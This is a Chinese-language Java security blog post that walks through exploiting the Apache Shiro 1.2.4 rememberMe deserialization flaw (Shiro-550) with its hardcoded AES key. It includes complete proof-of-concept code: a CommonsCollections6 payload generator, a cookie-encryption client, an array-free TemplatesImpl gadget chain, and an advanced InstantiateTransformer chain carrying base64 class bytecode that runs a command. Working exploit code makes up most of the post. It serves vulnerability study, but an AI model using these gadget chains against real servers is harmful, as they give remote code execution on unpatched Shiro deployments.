本文最后更新于:2023年9月9日 晚上
[TOC]
【java安全】TemplatesImpl在Shiro550反序列化
Shiro的原理
为了让浏览器或服务器重启后用户不丢失登录状态,Shiro支持将持久化信息序列化并加密后保存在Cookie的rememberMe
字段中,下次读取时进行解密
再反序列化
.
Shiro反序列化产生
在Shiro
1.2.4版本之前内置了一个默认且固定的加密Key,导致攻击者可以通过这个key来伪造Cookie,进而触发反序列化漏洞
演示
此处使用phith0n
的一个基于Shiro1.2.4
的简单登录应用,
整个项目只有两个代码文件,index.jsp和login.jsp
依赖:
shiro-core、shiro-web,这是shiro本身的依赖
javax.servlet-api、jsp-api,这是JSP和Servlet的依赖,仅在编译阶段使用,因为Tomcat中自带这 两个依赖
slf4j-api、slf4j-simple,这是为了显示shiro中的报错信息添加的依赖
commons-logging,这是shiro中用到的一个接口,不添加会爆 java.lang.ClassNotFoundException: org.apache.commons.logging.LogFactory错误
commons-collections,为了演示反序列化漏洞,增加了commons-collections依赖
我们启动一下这个项目:
有一个登录框:
账号:root
密码:secret
当我们登录时勾选:Remember me
时,登录成功后,服务端成功登录后会返回rememberMe
的cookie
攻击过程
根据上面的登录演示,我们知道了,如果我们在登录时将cookie中rememberMe
的值改为经过key
加密的payload
的值,就可以执行恶意反序列化了
payload使用key加密
这里使用了phithon的脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13
| package com.govuln.shiroattack; import org.apache.shiro.crypto.AesCipherService; import org.apache.shiro.util.ByteSource; public class Client0 { public static void main(String []args) throws Exception { byte[] payloads = new CommonsCollections6().getPayload("calc.exe"); AesCipherService aes = new AesCipherService(); byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA=="); ByteSource ciphertext = aes.encrypt(payloads, key); System.out.printf(ciphertext.toString()); } }
|
使用shiro内置类org.apache.shiro.crypto.AesCipherService
加密,最后生成base64字符串
这里的payload我们使用CommonsCollections6
进行生成:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| package com.govuln.shiroattack;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map;
public class CommonsCollections6 { public byte[] getPayload(String command) throws Exception { Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)}; Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new String[] { command }), new ConstantTransformer(1), }; Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap(); expMap.put(tme, "valuevalue");
outerMap.remove("keykey");
Field f = ChainedTransformer.class.getDeclaredField("iTransformers"); f.setAccessible(true); f.set(transformerChain, transformers);
ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(expMap); oos.close();
return barr.toByteArray(); } }
|
我们将生成加密的base64字符串放入rememberMe
中传入,看起来很完美,会弹计算器对吧,结果它报错了:
最后一行报错是org.apache.shiro.io.ClassResolvingObjectInputStream.resolveClass
resolveClass()
是一个方法是反序列化中寻找类的方法。简单的说,读取序列化流时,如果读取到字符串形式的类名,需要通过这个方法来找到对应的Class对象
我们来查看一下org.apache.shiro.io.ClassResolvingObjectInputStream.resolveClass
1 2 3 4 5 6 7 8 9 10 11 12 13
| public class ClassResolvingObjectInputStream extends ObjectInputStream { public ClassResolvingObjectInputStream(InputStream inputStream) throws IOException { super(inputStream); }
protected Class<?> resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException { try { return ClassUtils.forName(osc.getName()); } catch (UnknownClassException var3) { throw new ClassNotFoundException("Unable to load ObjectStreamClass [" + osc + "]: ", var3); } } }
|
这个类继承了ObjectInputStream
,重写了resolveClass()
方法
我们再看一下其父类ObjectInputStream#resolveClass()
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { String name = desc.getName(); try { return Class.forName(name, false, latestUserDefinedLoader()); } catch (ClassNotFoundException ex) { Class<?> cl = primClasses.get(name); if (cl != null) { return cl; } else { throw ex; } } }
|
这两个的区别,前者调用org.apache.shiro.util.ClassUtils#forName()
方法
后者使用了原生的Class.forname()
方法
为了搞清为什么报错,我们在抛异常的这里打一个断点
发现出异常时加载的类名为[Lorg.apache.commons.collections.Transformer
这个类名看起来怪,其实这是org.apache.commons.collections.Transformer
的数组
由于cc6链中使用的是ClassLoader.loadClass()
所以有人说loadClass()
不支持加载数组
但是结论是:
如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误
这里用到的Transformer
数组是CommonsCollections
库中的,所以加载不了
构造不含数组的GadGets
之前我们使用了TemplatesImpl
执行java字节码
1 2 3 4
| TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][] {"...bytescode"}); setFieldValue(obj, "_name", "HelloTemplatesImpl"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); obj.newTransformer();
|
我们只需调用TemplatesImpl#newTransformer()
方法即可执行字节码
但是newTransformer()
方法我们可以使用InvokerTransformer#transform()
方法来调用,于是可以写成这样:
1 2 3 4
| Transformer[] transformers = new Transformer[]{ new ConstantTransformer(obj), new InvokerTransformer("newTransformer", null, null) };
|
ConstantTransformer#transform()
的作用就是将obj
给返回
这里还是用到了数组,怎么办?我们可以结合cc6中的相关操作
因为使用到了LazyMap
这个类的get()
方法就可以触发链子
1 2 3 4 5 6 7 8 9 10 11 12
| public static Map decorate(Map map, Transformer factory) { return new LazyMap(map, factory); } public Object get(Object key) { if (!this.map.containsKey(key)) { Object value = this.factory.transform(key); this.map.put(key, value); return value; } else { return this.map.get(key); } }
|
观察一下这个get()
方法参数Object key
由于我们LazyMap
是这么构造的:
1
| Map outerMap = LazyMap.decorate(innerMap, transformerChain);
|
所以factory
就是transformerChain
,如果我们能控制这个key
的话,就可以触发ChainedTransform#transform()
方法,进而调用InvokerTransformer#transform()
方法
调用TemplatesImpl#newTransformer()
方法将key
传给InvokerTransformer#transform()
方法,如果这个key
刚好是TemplatesImpl
对象的话,就可以触发方法。这样我们发现,ConstantTransformer
可以从Transformer
数组中给去掉了
我们怎么控制key
?
在cc6中使用了TiedMapEntry
:
1 2 3 4 5 6 7
| public TiedMapEntry(Map map, Object key) { this.map = map; this.key = key; } public Object getValue() { return this.map.get(this.key); }
|
getValue()
会调用map
的get方法,如果map
是LazyMap
而key
是TemplatesImpl
对象就刚好能满足条件了
此时Transformer
数组只有InvokerTransformer
这个类对象了,所以也就不需要数组了
1 2
| Transformer transformer = new InvokerTransformer("getClass", null, null);
|
简单调用链
1 2 3 4 5 6
| TiedMapEntry#hashCode() TiedMapEntry#getValue() LazyMap#get() ChainedTransformer#transform() InvokerTransformer#transform(templates) TemplatesImpl#newTransform()
|
改造cc6为CommonsCollctionsShiro
首先创建TemplatesImpl
对象
1 2 3 4
| TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][] {"...bytescode"}); setFieldValue(obj, "_name", "HelloTemplatesImpl"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
|
然后我们创建一个用来调用newTransformer
方法的InvokerTransformer
,但注意的是,此时先传入一 个人畜无害的方法,比如getClass,避免恶意方法在构造Gadget的时候触发:
1
| Transformer transformer = new InvokerTransformer("getClass", null, null);
|
然后我们改一改CommonsCollections6
,将TiedMapEntry
构造函数第二个值传入TemplatesImpl
对象
1 2 3 4 5 6 7 8
| Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry tme = new TiedMapEntry(outerMap, obj); Map expMap = new HashMap(); expMap.put(tme, "valuevalue"); outerMap.clear(); setFieldValue(transformer, "iMethodName", "newTransformer");
|
完整POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| package com.govuln.shiroattack;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap; import java.util.Map;
public class CommonsCollectionsShiro { public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }
public byte[] getPayload(byte[] clazzBytes) throws Exception {
TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes}); setFieldValue(obj, "_name", "HelloTemplatesImpl"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer transformer = new InvokerTransformer("getClass", null, null);
Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, obj);
Map expMap = new HashMap(); expMap.put(tme, "valuevalue");
outerMap.clear(); setFieldValue(transformer, "iMethodName", "newTransformer");
ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(expMap); oos.close();
return barr.toByteArray(); } }
|
触发Shiro550漏洞
将POC生成的字节数组加密后传参给Cookie的rememberMe
:
弹出计算器
进阶POC
当InvocationTransformer
类被禁用之后,没法调用newTransformer
方法了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap; import java.util.Map;
public class CommonsCollectionsShiro { public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static void main(String[] args) throws Exception { String s = "yv66vgAAADQAMwoABwAlCgAmACcIACgKACYAKQcAKgcAKwcALAEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAKTEV4ZWNUZXN0OwEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAY8aW5pdD4BAAMoKVYBAA1TdGFja01hcFRhYmxlBwArBwAqAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAClNvdXJjZUZpbGUBAA1FeGVjVGVzdC5qYXZhDAAaABsHAC4MAC8AMAEABGNhbGMMADEAMgEAE2phdmEvbGFuZy9FeGNlcHRpb24BAAhFeGVjVGVzdAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABgAHAAAAAAAEAAEACAAJAAIACgAAAD8AAAADAAAAAbEAAAACAAsAAAAGAAEAAAAMAAwAAAAgAAMAAAABAA0ADgAAAAAAAQAPABAAAQAAAAEAEQASAAIAEwAAAAQAAQAUAAEACAAVAAIACgAAAEkAAAAEAAAAAbEAAAACAAsAAAAGAAEAAAARAAwAAAAqAAQAAAABAA0ADgAAAAAAAQAPABAAAQAAAAEAFgAXAAIAAAABABgAGQADABMAAAAEAAEAFAABABoAGwABAAoAAABqAAIAAgAAABIqtwABuAACEgO2AARXpwAETLEAAQAEAA0AEAAFAAMACwAAABYABQAAABIABAAUAA0AFwAQABUAEQAYAAwAAAAMAAEAAAASAA0ADgAAABwAAAAQAAL/ABAAAQcAHQABBwAeAAAJAB8AIAABAAoAAAArAAAAAQAAAAGxAAAAAgALAAAABgABAAAAHAAMAAAADAABAAAAAQAhACIAAAABACMAAAACACQ="; byte[] bytes= Base64.getDecoder().decode(s); TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][]{bytes}); setFieldValue(obj, "_name", "HelloTemplatesImpl"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer fakeTransformer = new ConstantTransformer("leekos"); Transformer transformer = InstantiateTransformer.getInstance(new Class[]{Templates.class}, new Object[]{obj});
Map lazyMap = LazyMap.decorate(new HashMap(),fakeTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,TrAXFilter.class);
Map hashMap = new HashMap(); hashMap.put(tiedMapEntry,"leekos"); lazyMap.clear(); setFieldValue(lazyMap,"factory",transformer);
ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(hashMap); oos.flush(); oos.close();
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close(); } }
|
我们编写一个可以在jdk1.7、1.8
使用的POC
总结
其实Shiro550反序列化的不同点就是Transformer
不能为数组,但是我们经过链子的巧妙传参发现可以去除掉ConstantTransformer
,这样原本两个元素的Transformer
数组变成一个元素,就不需要使用数组了
文末我编写了一个结合CommonsCollections3
的POC,可以在jdk1.7、1.8
的某些版之前使用(貌似是8u71),没有使用InvokerTransformer
,而是改用了InstantiateTransformer